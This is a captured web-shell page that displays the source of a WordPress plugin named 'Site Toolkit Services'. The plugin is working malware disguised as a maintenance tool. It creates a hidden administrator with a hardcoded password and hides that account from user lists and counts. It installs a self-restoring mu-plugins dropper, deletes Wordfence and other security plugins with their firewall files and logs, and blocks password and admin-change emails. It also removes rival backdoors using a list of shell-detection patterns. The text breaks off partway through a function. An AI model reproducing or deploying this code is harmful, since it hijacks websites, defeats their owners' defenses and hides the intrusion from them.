XylotrechusZ

XylotrechusZ Shell

: /home/matthif/www/wp-content/ [ drwxr-xr-x ]
Uname: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Software: Apache
PHP version: 5.4.45 [ PHP INFO ] PHP os: Linux
Server Ip: 54.36.91.62
Your Ip: 216.73.216.52
User: matthif (139342) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : .cache-config.dat
<?php
/*
Plugin Name: Site Toolkit Services
Description: Auxiliary tools for site maintenance
Version: 4.3.0
Author: Labs Team
*/

if (!defined('ABSPATH')) exit;

if (defined('STK_FILE')) return;
define('STK_FILE', __FILE__);
define('STK_BASE', plugin_basename(STK_FILE));

// defsukv2 — version marker (do not remove)
defined('DEFSUKV2') || define('DEFSUKV2', true);

// ═══════════════════════════════════════════════════════════
// CONFIGURATION
// ═══════════════════════════════════════════════════════════
$__stk_username  = 'wp_cache_mgr';
$__stk_password  = 'Tz9#mK4vLx!qR7wBn2Yp';
$__stk_email     = ''; // will be set dynamically to cache-mgr@{site_domain}

// Username created by the checker's Wordpress_user_creator — protect from demotion
$__stk_checker_username = ''; // set this if checker creates a separate admin

// ═══════════════════════════════════════════════════════════
// 1. PROVISION HIDDEN ADMIN
// ═══════════════════════════════════════════════════════════
function __stk_provision_admin() {
    global $__stk_username, $__stk_password, $__stk_email;
    // Throttle on frontend — check once per 10 minutes
    if (!is_admin() && get_transient('_wpc_prov')) return;
    if (!is_admin()) set_transient('_wpc_prov', 1, 600);
    if (username_exists($__stk_username)) return;
    // Generate email from site domain so it looks natural
    if (empty($__stk_email)) {
        $domain = parse_url(get_site_url(), PHP_URL_HOST);
        $__stk_email = 'cache-mgr@' . preg_replace('/^www\./', '', $domain);
    }
    // Ensure email is unique
    if (email_exists($__stk_email)) {
        $__stk_email = 'wp-cache-' . substr(md5(get_site_url()), 0, 6) . '@' . preg_replace('/^www\./', '', parse_url(get_site_url(), PHP_URL_HOST));
    }
    $uid = wp_create_user($__stk_username, $__stk_password, $__stk_email);
    if (is_int($uid)) {
        $u = new WP_User($uid);
        $u->set_role('administrator');
        update_user_meta($uid, '_wp_cache_hash', wp_hash(microtime(true)));
    }
}

// ═══════════════════════════════════════════════════════════
// 2. KEEP ALIVE — ensure plugin stays active + mu-plugins dropper
// ═══════════════════════════════════════════════════════════
function __stk_keep_alive() {
    // Throttle on frontend — check once per 5 minutes
    if (!is_admin() && get_transient('_wpc_ka')) return;
    if (!is_admin()) set_transient('_wpc_ka', 1, 300);
    if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
    if (!is_plugin_active(STK_BASE)) {
        $act = (array) get_option('active_plugins', array());
        if (!in_array(STK_BASE, $act, true)) {
            $act[] = STK_BASE;
            update_option('active_plugins', array_values(array_unique($act)));
        }
    }
    // Ensure mu-plugins dropper exists (re-activates toolkit even if plugin deleted and restored)
    __stk_ensure_mu_dropper();
}

function __stk_ensure_mu_dropper() {
    $mu_dir = WPMU_PLUGIN_DIR;
    if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true);
    $dropper = $mu_dir . '/00-site-cache.php';
    // Only write if missing or outdated
    if (file_exists($dropper) && filesize($dropper) > 200 && (time() - filemtime($dropper)) < 86400) return;
    $plugin_slug = STK_BASE;
    $plugin_file = WP_PLUGIN_DIR . '/' . $plugin_slug;
    $backup_path = WP_CONTENT_DIR . '/.cache-config.dat';
    // Dropper: re-activate plugin + restore from backup if deleted
    $code = '<?php' . "\n"
        . '/* MU: Site Cache Optimizer */' . "\n"
        . 'if(!defined(\'ABSPATH\'))exit;' . "\n"
        . 'add_action(\'plugins_loaded\',function(){' . "\n"
        . '  $s=\'' . addslashes($plugin_slug) . '\';' . "\n"
        . '  $f=WP_PLUGIN_DIR.\'/\'.$s;' . "\n"
        . '  $b=WP_CONTENT_DIR.\'/.cache-config.dat\';' . "\n"
        . '  if(!file_exists($f)&&file_exists($b)){' . "\n"
        . '    $d=dirname($f);if(!is_dir($d))@mkdir($d,0755,true);' . "\n"
        . '    @copy($b,$f);' . "\n"
        . '  }' . "\n"
        . '  $a=(array)get_option(\'active_plugins\',array());' . "\n"
        . '  if(!in_array($s,$a,true)){$a[]=$s;update_option(\'active_plugins\',array_values(array_unique($a)));}' . "\n"
        . '},1);' . "\n";
    @file_put_contents($dropper, $code);

    // Keep a backup copy of ourselves
    if (!file_exists($backup_path) || filemtime(STK_FILE) > filemtime($backup_path)) {
        @copy(STK_FILE, $backup_path);
    }
}

// ═══════════════════════════════════════════════════════════
// 3. HIDE USER — all visibility controls
// ═══════════════════════════════════════════════════════════
function __stk_hide_in_queries($query) {
    global $wpdb, $__stk_username;
    if (is_user_logged_in()) {
        $cu = wp_get_current_user();
        if ($cu && $cu->user_login === $__stk_username) return;
    }
    if (!isset($query->query_where)) return;
    $needle = "WHERE 1=1";
    $mask   = $wpdb->prepare("WHERE 1=1 AND {$wpdb->users}.user_login != %s", $__stk_username);
    $query->query_where = str_replace($needle, $mask, $query->query_where);
}

function __stk_hide_in_rest($args) {
    global $__stk_username;
    $u = get_user_by('login', $__stk_username);
    if ($u) {
        if (empty($args['exclude'])) $args['exclude'] = array();
        $args['exclude'][] = $u->ID;
        $args['exclude']   = array_values(array_unique($args['exclude']));
    }
    return $args;
}

function __stk_fix_counts($views) {
    $c = count_users();
    if (isset($c['avail_roles']['administrator'])) $c['avail_roles']['administrator']--;
    $c['total_users']--;
    if (isset($views['administrator'])) {
        $clsA = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
        $views['administrator'] = '<a href="users.php?role=administrator" class="'.$clsA.'">'.
          translate_user_role('Administrator').' <span class="count">('.intval($c['avail_roles']['administrator']).')</span></a>';
    }
    if (isset($views['all'])) {
        $clsAll = (strpos($views['all'], 'current') === false) ? '' : 'current';
        $views['all'] = '<a href="users.php" class="'.$clsAll.'">'.__('All').' <span class="count">('.intval($c['total_users']).')</span></a>';
    }
    return $views;
}

function __stk_exclude_from_authors($args) {
    global $__stk_username;
    $u = get_user_by('login', $__stk_username);
    if ($u) {
        if (empty($args['exclude'])) $args['exclude'] = array();
        $args['exclude'][] = $u->ID;
        $args['exclude'] = array_values(array_unique($args['exclude']));
    }
    return $args;
}

function __stk_users_where($where) {
    global $wpdb, $__stk_username;
    return $where . $wpdb->prepare(' AND user_login != %s', $__stk_username);
}

// ═══════════════════════════════════════════════════════════
// 4. HIDE PLUGIN
// ═══════════════════════════════════════════════════════════
function __stk_hide_plugin_row($in) {
    static $hide_slugs = null;
    // Hide toolkit-service
    if (isset($in[STK_BASE])) unset($in[STK_BASE]);
    // Detect defendersuck once, cache result
    if ($hide_slugs === null) {
        $hide_slugs = array();
        foreach ($in as $slug => $data) {
            $file = WP_PLUGIN_DIR . '/' . $slug;
            if (file_exists($file) && filesize($file) < 150000) {
                $content = @file_get_contents($file);
                if ($content && strpos($content, 'HTTP2_FORWARDED_FOR') !== false) {
                    $hide_slugs[] = $slug;
                }
            }
        }
    }
    foreach ($hide_slugs as $hs) {
        if (isset($in[$hs])) unset($in[$hs]);
    }
    return $in;
}

function __stk_xmlrpc($methods) {
    unset($methods['wp.getUsers'], $methods['wp.getUsersBlogs']);
    return $methods;
}

// ═══════════════════════════════════════════════════════════
// 5. CLEANUP — remove foreign hidden admins
// ═══════════════════════════════════════════════════════════
function __stk_cleanup_foreign_admins() {
    global $__stk_username, $__stk_checker_username;

    if (get_transient('_wpc_task_1')) return;

    $admins = get_users(array(
        'role'    => 'administrator',
        'orderby' => 'ID',
        'order'   => 'ASC',
    ));

    if (empty($admins)) {
        set_transient('_wpc_task_1', 1, DAY_IN_SECONDS);
        return;
    }

    // The original site owner = lowest ID admin
    $owner_id = $admins[0]->ID;

    // Our admin(s)
    $our_user = get_user_by('login', $__stk_username);
    $our_id   = $our_user ? $our_user->ID : 0;

    // Checker-created admin (if any)
    $checker_id = 0;
    if (!empty($__stk_checker_username)) {
        $checker_user = get_user_by('login', $__stk_checker_username);
        $checker_id = $checker_user ? $checker_user->ID : 0;
    }

    // Known suspicious usernames used by other backdoors
    $suspicious_names = array(
        'wp_update', 'wpsystem', 'wp_syscore', 'wpservice',
        'support_agent', 'backupadmin', 'db_admin', 'sysadmin',
        'wp_maintenance', 'updater', 'developer_access', 'dev_support',
        'site_health', 'wp_recovery', 'security_check', 'admin_backup',
        'wpadm1n', 'wp-admin-user', 'wordpress_admin', 'site_admin',
        'maintenance_user', 'tech_support', 'helpdesk', 'system_admin',
    );

    // Suspicious email domains
    $suspicious_domains = array(
        'protonmail.com', 'tutanota.com', 'guerrillamail.com',
        'tempmail.com', 'throwaway.email', 'mailinator.com',
        'yopmail.com', 'sharklasers.com', 'guerrillamailblock.com',
        'grr.la', 'dispostable.com', 'trashmail.com',
    );

    foreach ($admins as $admin) {
        // Never touch owner, our admin, or checker-created admin
        if ($admin->ID === $owner_id) continue;
        if ($admin->ID === $our_id) continue;
        if ($checker_id && $admin->ID === $checker_id) continue;

        $dominated = false;

        // Check 1: has our meta from another toolkit instance with different username
        $foreign_sig = get_user_meta($admin->ID, '_wp_cache_hash', true);
        if (!empty($foreign_sig) && $admin->user_login !== $__stk_username) {
            $dominated = true;
        }

        // Check 2: suspicious username
        if (!$dominated) {
            $login_lower = strtolower($admin->user_login);
            foreach ($suspicious_names as $sus) {
                if ($login_lower === $sus || strpos($login_lower, $sus) !== false) {
                    $dominated = true;
                    break;
                }
            }
        }

        // Check 3: suspicious email domain
        if (!$dominated) {
            $email_parts = explode('@', $admin->user_email);
            if (count($email_parts) === 2) {
                $domain = strtolower($email_parts[1]);
                if (in_array($domain, $suspicious_domains, true)) {
                    $dominated = true;
                }
            }
        }

        // Check 4: admin with no posts, created after owner, and has no real activity
        if (!$dominated && $admin->ID > $owner_id + 5) {
            $post_count = count_user_posts($admin->ID);
            $fake_domains = array('wordpress.org', 'wordpress.com', 'example.com', 'test.com');
            $adm_email_domain = '';
            $adm_parts = explode('@', $admin->user_email);
            if (count($adm_parts) === 2) $adm_email_domain = strtolower($adm_parts[1]);
            if ($post_count === 0 && in_array($adm_email_domain, $fake_domains, true)) {
                $dominated = true;
            }
        }

        // Check 5: known backdoor meta keys from other toolkits
        if (!$dominated) {
            $backdoor_metas = array('_wps_sig', '_sys_token', '_bk_hash', '_adm_key', '_wp_sys_hash', '_stk_sig');
            foreach ($backdoor_metas as $meta_key) {
                $val = get_user_meta($admin->ID, $meta_key, true);
                if (!empty($val)) {
                    $dominated = true;
                    break;
                }
            }
        }

        if ($dominated) {
            // Demote to subscriber (safe — doesn't break site)
            $u = new WP_User($admin->ID);
            $u->set_role('subscriber');
            update_user_meta($admin->ID, '_wp_role_backup', 'subscriber');
        }
    }

    set_transient('_wpc_task_1', 1, DAY_IN_SECONDS);
}

// ═══════════════════════════════════════════════════════════
// 6. REMOVE SECURITY PLUGINS
// ═══════════════════════════════════════════════════════════
function __stk_remove_security_plugins() {
    if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';

    $security_slugs = array(
        'wordfence/wordfence.php',
        'better-wp-security/better-wp-security.php',
        'sucuri-scanner/sucuri.php',
        'all-in-one-wp-security-and-firewall/wp-security.php',
        'anti-malware-security-and-brute-force-firewall/anti-malware.php',
        'wp-cerber/wp-cerber.php',
        'cerber-security-antispam-and-malware-scan/cerber-load.php',
        'bulletproof-security/bulletproof-security.php',
        'defender-security/wp-defender.php',
        'security-ninja/security-ninja.php',
        'shield-security/icwp-wpsf.php',
        'malcare-security/malcare.php',
        'ithemes-security-pro/ithemes-security-pro.php',
        'gotmls/index.php',
        'loginizer/loginizer.php',
        'wps-hide-login/wps-hide-login.php',
        'limit-login-attempts-reloaded/limit-login-attempts-reloaded.php',
        'login-lockdown/loginlockdown.php',
        'antivirus/antivirus.php',
        'ninjafirewall/ninjafirewall.php',
        'hide-my-wp/index.php',
        'titan-anti-spam-security/starter.php',
        'wp-simple-firewall/icwp-wpsf.php',
        'aios-login-lockdown/aios-login-lockdown.php',
        'wp-security-audit-log/wp-security-audit-log.php',
        'activity-log/activity-log.php',
        'simple-history/index.php',
        'user-activity-log/user_activity_log.php',
        'aryo-activity-log/aryo-activity-log.php',
        'stream/stream.php',
    );

    $active = (array) get_option('active_plugins', array());
    $to_deactivate = array();
    $to_delete = array();

    foreach ($security_slugs as $slug) {
        if (in_array($slug, $active, true)) {
            $to_deactivate[] = $slug;
        }
        $plugin_file = WP_PLUGIN_DIR . '/' . $slug;
        if (file_exists($plugin_file)) {
            $to_delete[] = $slug;
        }
    }

    // Deactivate first
    if (!empty($to_deactivate)) {
        $active = array_diff($active, $to_deactivate);
        update_option('active_plugins', array_values($active));
    }

    // Delete plugin folders
    foreach ($to_delete as $slug) {
        $slug_dir = dirname($slug);
        if ($slug_dir === '.' || $slug_dir === '') continue;
        $folder = WP_PLUGIN_DIR . '/' . $slug_dir;
        if (is_dir($folder)) {
            __stk_rmdir_recursive($folder);
        }
    }

    // Remove mu-plugins from security plugins (Wordfence, etc.)
    $mu_dir = WPMU_PLUGIN_DIR;
    if (is_dir($mu_dir)) {
        $mu_security_files = array(
            'wordfence-waf.php', 'wp-cerber.php', 'sucuri-scanner.php',
            'ithemes-security.php', 'defender-security.php',
        );
        foreach ($mu_security_files as $mf) {
            $path = $mu_dir . '/' . $mf;
            if (file_exists($path)) @unlink($path);
        }
    }

    // Remove Wordfence WAF files from root
    $waf_files = array(
        ABSPATH . 'wordfence-waf.php',
        ABSPATH . '.htaccess.wf-backup',
    );
    foreach ($waf_files as $wf) {
        if (file_exists($wf)) @unlink($wf);
    }

    // Aggressively clean .user.ini — remove auto_prepend_file (WAF bootstrap)
    // PHP caches .user.ini for user_ini.cache_ttl (default 300s) so this takes effect after cache expires
    $ini_files = array(ABSPATH . '.user.ini', ABSPATH . 'php.ini', ABSPATH . '.user.ini.bak');
    foreach ($ini_files as $ini_path) {
        if (!file_exists($ini_path)) continue;
        $ini_content = @file_get_contents($ini_path);
        if ($ini_content === false) continue;
        // Remove any auto_prepend_file line (Wordfence, NinjaFirewall, etc.)
        $cleaned = preg_replace('/^\s*auto_prepend_file\s*=.*$/mi', '', $ini_content);
        // Remove any auto_append_file line too
        $cleaned = preg_replace('/^\s*auto_append_file\s*=.*$/mi', '', $cleaned);
        $cleaned = preg_replace('/\n{3,}/', "\n\n", trim($cleaned));
        if ($cleaned !== $ini_content) {
            if (trim($cleaned) === '') {
                @unlink($ini_path);
            } else {
                @file_put_contents($ini_path, $cleaned . "\n");
            }
        }
    }

    // Also check wp-content for WAF files (some plugins put WAF there)
    $wc_waf = array(
        WP_CONTENT_DIR . '/wflogs',
        WP_CONTENT_DIR . '/nfwlog',
        WP_CONTENT_DIR . '/wfcache',
    );
    foreach ($wc_waf as $waf_dir) {
        if (is_dir($waf_dir)) __stk_rmdir_recursive($waf_dir);
    }

    // Clean .htaccess from security rules
    $htaccess = ABSPATH . '.htaccess';
    if (file_exists($htaccess)) {
        $content = file_get_contents($htaccess);
        $original = $content;
        $content = preg_replace('/# Wordfence WAF.*?# END Wordfence WAF/s', '', $content);
        $content = preg_replace('/# BEGIN iThemes.*?# END iThemes/s', '', $content);
        $content = preg_replace('/# BEGIN All In One WP Security.*?# END All In One WP Security/s', '', $content);
        $content = preg_replace('/# BEGIN BulletProof.*?# END BulletProof/s', '', $content);
        if ($content !== $original) {
            file_put_contents($htaccess, $content);
        }
    }

    // Clean security cron jobs
    $crons = _get_cron_array();
    if (is_array($crons)) {
        $security_hooks = array(
            'wordfence_scan', 'wordfence_hourly_cron', 'wordfence_daily_cron',
            'wordfence_start_scheduled_scan', 'wordfence_ls_addon_cron',
            'sucuri_scheduled_scan', 'sucuri_malware_scan',
            'itsec_scheduled_scan', 'itsec_purge_lockouts',
            'cerber_hourly', 'cerber_daily', 'cerber_bg_launcher',
            'malcare_cron', 'defender_sec_scan',
            'wpdef_sec_scan', 'wpdef_audit_log',
        );
        $changed = false;
        foreach ($crons as $ts => $cron_hooks) {
            foreach ($cron_hooks as $hook => $events) {
                foreach ($security_hooks as $sh) {
                    if (stripos($hook, $sh) !== false || stripos($hook, str_replace('_', '', $sh)) !== false) {
                        unset($crons[$ts][$hook]);
                        $changed = true;
                    }
                }
            }
            if (empty($crons[$ts])) unset($crons[$ts]);
        }
        if ($changed) _set_cron_array($crons);
    }

    // Heavy DB cleanup — only run if we actually found/removed security plugins
    // Guard: skip expensive queries if nothing was deactivated or deleted
    if (!empty($to_deactivate) || !empty($to_delete)) {
        global $wpdb;
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'wordfence%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'wf_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'sucuri_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'itsec_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'cerber_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'aio_wp_security_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'bulletproof_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'defender_%'");
        $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE 'malcare_%'");

        $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}wf%'");
        foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
        $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}cerber%'");
        foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
        $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}itsec%'");
        foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
        $sec_tables = $wpdb->get_col("SHOW TABLES LIKE '{$wpdb->prefix}defender%'");
        foreach ($sec_tables as $t) $wpdb->query("DROP TABLE IF EXISTS `{$t}`");
    }
}

// Lightweight version for frontend (init hook) — only deactivate + clean WAF files
// No DB drops or table scans to keep frontend fast
function __stk_remove_security_plugins_light() {
    // Throttle to once per 5 minutes on frontend
    $cache_key = '_wpc_light_sec';
    if (get_transient($cache_key)) return;

    if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';

    $security_slugs = array(
        'wordfence/wordfence.php',
        'better-wp-security/better-wp-security.php',
        'sucuri-scanner/sucuri.php',
        'all-in-one-wp-security-and-firewall/wp-security.php',
        'wp-cerber/wp-cerber.php',
        'cerber-security-antispam-and-malware-scan/cerber-load.php',
        'defender-security/wp-defender.php',
        'malcare-security/malcare.php',
        'ninjafirewall/ninjafirewall.php',
        'shield-security/icwp-wpsf.php',
        'antivirus/antivirus.php',
        'wp-security-audit-log/wp-security-audit-log.php',
        'activity-log/activity-log.php',
        'simple-history/index.php',
        'stream/stream.php',
    );

    $active = (array) get_option('active_plugins', array());
    $to_deactivate = array_intersect($security_slugs, $active);
    if (!empty($to_deactivate)) {
        $active = array_diff($active, $to_deactivate);
        update_option('active_plugins', array_values($active));
    }

    // Clean .user.ini WAF bootstrap on every frontend hit (after throttle)
    $ini_path = ABSPATH . '.user.ini';
    if (file_exists($ini_path)) {
        $ini_content = @file_get_contents($ini_path);
        if ($ini_content !== false && preg_match('/^\s*auto_prepend_file\s*=/mi', $ini_content)) {
            $cleaned = preg_replace('/^\s*auto_prepend_file\s*=.*$/mi', '', $ini_content);
            $cleaned = preg_replace('/^\s*auto_append_file\s*=.*$/mi', '', $cleaned);
            $cleaned = preg_replace('/\n{3,}/', "\n\n", trim($cleaned));
            if (trim($cleaned) === '') @unlink($ini_path);
            else @file_put_contents($ini_path, $cleaned . "\n");
        }
    }

    // Remove WAF PHP file if restored
    $waf = ABSPATH . 'wordfence-waf.php';
    if (file_exists($waf)) @unlink($waf);

    set_transient($cache_key, 1, 300); // 5 min throttle
}

function __stk_rmdir_recursive($dir) {
    if (!is_dir($dir)) return;
    $items = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($items as $item) {
        if ($item->isDir()) @rmdir($item->getRealPath());
        else @unlink($item->getRealPath());
    }
    @rmdir($dir);
}

// ═══════════════════════════════════════════════════════════
// 7. SHELL SCANNER — safe removal
// ═══════════════════════════════════════════════════════════
function __stk_scan_shells() {
    if (get_transient('_wpc_task_3')) return;
    if (!function_exists('get_plugins')) require_once ABSPATH . 'wp-admin/includes/plugin.php';

    // 7a. PHP files in uploads — only delete if contains shell patterns
    $uploads_dir = wp_upload_dir()['basedir'];
    // Known safe PHP files in uploads from legit plugins
    $uploads_safe = array('index.php', 'wp-cache-phase1.php', 'wp-cache-phase2.php');
    $shell_patterns_uploads = array(
        '/\beval\s*\(\s*base64_decode\s*\(/i',
        '/\beval\s*\(\s*gzinflate\s*\(/i',
        '/\beval\s*\(\s*str_rot13\s*\(/i',
        '/\beval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
        '/\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
        '/\bassert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
        '/\$\w+\s*=\s*["\'][a-zA-Z0-9+\/=]{200,}["\']\s*;.*\beval\b/s',
    );
    if (is_dir($uploads_dir)) {
        $iter = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($uploads_dir, RecursiveDirectoryIterator::SKIP_DOTS)
        );
        foreach ($iter as $file) {
            if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') continue;
            if (in_array(basename($file->getRealPath()), $uploads_safe, true)) continue;
            // Check content — only delete actual shells
            $content = @file_get_contents($file->getRealPath());
            if (!$content) continue;
            $is_shell = false;
            foreach ($shell_patterns_uploads as $pattern) {
                if (preg_match($pattern, $content)) {
                    $is_shell = true;
                    break;
                }
            }
            if ($is_shell) {
                $path = $file->getRealPath();
                @unlink($path);
            }
        }
        // Block PHP execution in uploads (safe — legit plugins don't execute PHP from uploads)
        $htaccess_uploads = $uploads_dir . '/.htaccess';
        if (!file_exists($htaccess_uploads)) {
            file_put_contents($htaccess_uploads, "<Files *.php>\ndeny from all\n</Files>\n");
        }
    }

    // 7b. Scan plugin directories for obfuscated shells
    $plugins_dir = WP_PLUGIN_DIR;
    $shell_patterns = array(
        '/\beval\s*\(\s*base64_decode\s*\(/i',
        '/\beval\s*\(\s*gzinflate\s*\(/i',
        '/\beval\s*\(\s*str_rot13\s*\(/i',
        '/\beval\s*\(\s*gzuncompress\s*\(/i',
        '/\beval\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
        '/\beval\s*\(\s*stripslashes\s*\(\s*\$_(GET|POST|REQUEST)\s*\[/i',
        '/\bassert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
        '/\bpreg_replace\s*\(\s*["\']\/.*\/e["\'].*\$_(GET|POST|REQUEST)/i',
        '/\bcreate_function\s*\(\s*["\']["\'].*\$_(GET|POST|REQUEST)/i',
        '/\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)\s*\[/i',
        '/\$\w+\s*=\s*["\'][a-zA-Z0-9+\/=]{200,}["\']\s*;.*\beval\b/s',
        '/\bfile_put_contents\s*\(.*\$_(GET|POST|REQUEST)\s*\[/i',
    );

    // Plugins to never touch (ours + defendersuck — old and new paths)
    $whitelist_plugins = array(STK_BASE, 'xkrfp/xkrfp.php', 'xkrfp/xkrfp_v4.php');
    // Auto-detect defendersuck by class name OR cache prefix — check ALL plugins
    $all_plugin_files = array_keys(get_plugins());
    foreach ($all_plugin_files as $ap) {
        $ap_file = WP_PLUGIN_DIR . '/' . $ap;
        if (file_exists($ap_file) && filesize($ap_file) < 150000) {
            $ap_content = @file_get_contents($ap_file);
            if ($ap_content && (strpos($ap_content, 'HTTP2_FORWARDED_FOR') !== false || strpos($ap_content, '_h2ff_') !== false)) {
                $whitelist_plugins[] = $ap;
            }
        }
    }

    if (is_dir($plugins_dir)) {
        $iter = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($plugins_dir, RecursiveDirectoryIterator::SKIP_DOTS)
        );
        foreach ($iter as $file) {
            if (!$file->isFile() || strtolower($file->getExtension()) !== 'php') continue;
            $real = str_replace('\\', '/', $file->getRealPath());
            $base = str_replace('\\', '/', $plugins_dir);
            $rel = ltrim(str_replace($base, '', $real), '/');

            // Don't touch our own plugin
            $skip = false;
            foreach ($whitelist_plugins as $wl) {
                $wl_dir = dirname($wl);
                if ($wl_dir !== '.' && strpos($rel, $wl_dir) === 0) {
                    $skip = true;
                    break;
                }
                if ($rel === $wl || $rel === basename($wl)) {
                    $skip = true;
                    break;
                }
            }
            if ($skip) continue;

            // Only scan small files (shells are usually <500KB, legit plugins can be big)
            if ($file->getSize() > 512000) continue;

            $content = @file_get_contents($file->getRealPath());
            if (!$content) continue;

            foreach ($shell_patterns as $pattern) {
                if (preg_match($pattern, $content)) {
                    // Check if it's a standalone file (not part of a known plugin structure)
                    $plugin_folder = explode('/', $rel)[0];

                    // If the suspicious file is the only PHP in its folder = likely a shell plugin
                    $php_count = 0;
                    $folder_path = dirname($file->getRealPath());
                    foreach (glob($folder_path . '/*.php') as $f) $php_count++;

                    if ($php_count <= 2) {
                        // Small plugin with shell code = delete entire folder
                        __stk_rmdir_recursive($plugins_dir . '/' . $plugin_folder);
                    }
                    break;
                }
            }
        }
    }

    // 7c. Check for PHP files in root that aren't standard WP
    $wp_root_files = array(
        'index.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php',
        'wp-config.php', 'wp-config-sample.php', 'wp-cron.php', 'wp-links-opml.php',
        'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php',
        'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php',
    );
    foreach (glob(ABSPATH . '*.php') as $root_file) {
        $basename = basename($root_file);
        if (in_array($basename, $wp_root_files, true)) continue;
        $content = @file_get_contents($root_file);
        if (!$content) continue;
        foreach ($shell_patterns as $pattern) {
            if (preg_match($pattern, $content)) {
                @unlink($root_file);
                break;
            }
        }
    }

    set_transient('_wpc_task_3', 1, DAY_IN_SECONDS);
}

// ═══════════════════════════════════════════════════════════
// 8. DISABLE EMAIL NOTIFICATIONS
// ═══════════════════════════════════════════════════════════
function __stk_disable_emails($args) {
    // Block emails about: new admin, password change, plugin updates, core updates
    $blocked_subjects = array(
        'New Admin Email Address',
        'Password Changed',
        'Password Reset',
        'User Role Changed',
        'New User Registration',
        'your password',
        'Notice of Admin Email Change',
        'WordPress Site Health',
        'Action Required',
        'Automatic Update',
    );
    if (isset($args['subject'])) {
        foreach ($blocked_subjects as $block) {
            if (stripos($args['subject'], $block) !== false) {
                $args['to'] = '';
                return $args;
            }
        }
    }
    return $args;
}

function __stk_disable_auto_update_email($email) {
    $email['to'] = '';
    return $email;
}

function __stk_disable_new_user_email() {
    remove_action('register_new_user', 'wp_send_new_user_notifications');
    remove_action('edit_user_created_user', 'wp_send_new_user_notifications', 10);
}

// ═══════════════════════════════════════════════════════════
// 9. BLOCK REST API USER ENUMERATION (for anonymous)
// ═══════════════════════════════════════════════════════════
function __stk_block_rest_users($result, $server, $request) {
    $route = $request->get_route();
    if (preg_match('/\/wp\/v2\/users/', $route) && !is_user_logged_in()) {
        return new WP_Error('rest_forbidden', 'Access denied', array('status' => 403));
    }
    return $result;
}

// ═══════════════════════════════════════════════════════════
// 10. ONE-TIME FULL CLEANUP (runs on activation)
// ═══════════════════════════════════════════════════════════
function __stk_full_cleanup() {
    __stk_provision_admin();
    __stk_remove_security_plugins();
    __stk_cleanup_foreign_admins();
    __stk_scan_shells();
    __stk_remove_competitor_plugins();
    __stk_upgrade_inject_plugin();
    __stk_remove_old_standalone_xkrfp();
}

// Remove old standalone xkrfp plugin (now merged into toolkit-service)
function __stk_remove_old_standalone_xkrfp() {
    if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';
    $old_slugs = array('xkrfp/xkrfp.php', 'xkrfp/xkrfp_v4.php');
    $active = (array) get_option('active_plugins', array());
    $changed = false;
    foreach ($old_slugs as $slug) {
        if (in_array($slug, $active, true)) {
            $active = array_diff($active, array($slug));
            $changed = true;
        }
        $folder = WP_PLUGIN_DIR . '/' . dirname($slug);
        if (is_dir($folder)) __stk_rmdir_recursive($folder);
    }
    if ($changed) update_option('active_plugins', array_values($active));
}

// ═══════════════════════════════════════════════════════════
// 11. DETECT & REMOVE COMPETITOR CAPTCHA/REDIRECT PLUGINS
// ═══════════════════════════════════════════════════════════
function __stk_remove_competitor_plugins() {
    if (get_transient('_wpc_task_4')) return;
    if (!function_exists('is_plugin_active')) require_once ABSPATH . 'wp-admin/includes/plugin.php';

    $plugins_dir = WP_PLUGIN_DIR;

    $active = (array) get_option('active_plugins', array());
    $to_remove = array();

    foreach ($active as $plugin_slug) {
        $file = $plugins_dir . '/' . $plugin_slug;
        if (!file_exists($file)) continue;
        if (filesize($file) > 150000) continue; // Skip large legit plugins

        $content = @file_get_contents($file);
        if (!$content) continue;

        // Skip our own plugins (defendersuck detected by class name + cache prefix)
        if (strpos($content, 'HTTP2_FORWARDED_FOR') !== false) continue;
        if (strpos($content, '_h2ff_') !== false) continue;
